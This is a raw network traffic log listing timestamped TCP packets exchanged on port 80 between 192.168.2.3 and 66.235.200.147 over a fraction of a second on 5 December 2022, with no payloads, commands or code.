Dec 5, 2022 06:44:36.461242914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461261034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461277962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461282969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461296082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461304903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461313009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461329937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461337090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461348057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461365938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461384058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461386919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461402893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461411953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461422920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461440086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461442947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461457014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461474895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461477995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461492062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461508989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461524963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461530924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461543083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461550951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461560965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461576939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461585999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461594105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461611032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461621046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461627960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461646080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461652994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461666107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461682081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461684942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461699009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461715937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461733103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461740017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461750031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461761951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461766958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461786032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461791992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461805105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461822033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461836100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461838961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461858034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461867094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461874008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461890936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461898088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461909056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461925030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461937904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461942911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461960077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461962938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.461977959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.461994886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462009907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462012053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462030888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462037086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462048054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462064981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462081909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462095022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462097883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462116003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462124109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462132931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462138891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462151051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462168932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462174892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462188005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462203979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462217093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462223053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462239027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462239981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462256908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462274075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462286949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462290049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462307930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462315083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462325096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462342024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462353945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462359905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462377071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462388992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462393045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462412119 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462418079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462450981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462469101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462469101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462487936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462507010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462524891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462527037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462543011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462548018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462562084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462579966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462588072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462598085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462616920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462635040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462639093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462654114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462661028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462673903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462692022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462709904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462716103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462728024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462737083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462747097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462764978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462771893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462783098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462800980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462807894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462820053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462837934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462841988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462857008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462873936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462878942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462902069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462918997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462937117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462948084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462954998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462970018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.462975025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.462994099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463001966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463011980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463030100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463038921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463047981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463064909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463071108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463083982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463102102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463119030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463125944 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463136911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463148117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463155985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463174105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463176012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463193893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463212013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463218927 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463229895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463248014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463265896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463268995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463284969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463291883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463303089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463320017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463329077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463339090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463356018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463372946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463377953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463392019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463399887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463409901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463429928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463435888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463448048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463465929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463484049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463485956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463500977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463510990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463520050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463536978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463546038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463557005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463574886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463594913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463599920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463624954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463634014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463650942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463670015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463677883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463686943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463704109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463720083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463723898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463737965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463746071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463754892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463772058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463781118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463789940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463809013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463815928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463824987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463857889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463860035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463880062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463898897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463902950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463917971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463936090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463939905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.463956118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463973999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463994026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.463994026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464011908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464019060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464030981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464049101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464073896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464078903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464097977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464107990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464116096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464132071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464138985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464149952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464167118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464174986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464184999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464202881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464205027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464221954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464237928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464246035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464256048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464272976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464288950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464297056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464307070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464317083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464324951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464343071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464349985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464360952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464379072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464396000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464399099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464415073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464418888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464433908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464451075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464468002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464469910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464484930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464493036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464503050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464520931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464536905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464545012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464555979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464565992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464574099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464591980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464592934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464610100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464612007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464621067 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464627981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464638948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464644909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464658022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464663029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464668989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464680910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464684963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464699030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464704037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464715958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464723110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464732885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464742899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464752913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464761972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464770079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464781046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464787006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464797974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464807034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464814901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464823008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464827061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464843035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464845896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464864969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464880943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464890003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464899063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464910030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464915991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464932919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464936972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464950085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464960098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464968920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464982033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.464987993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.464997053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465006113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465013981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465023994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465029955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465043068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465046883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465060949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465064049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465080023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465082884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465099096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465100050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465116024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465120077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465132952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465137005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465151072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465157986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465169907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.465174913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.465188026 CET	80	49704	66.235.200.147	192.168.2.3
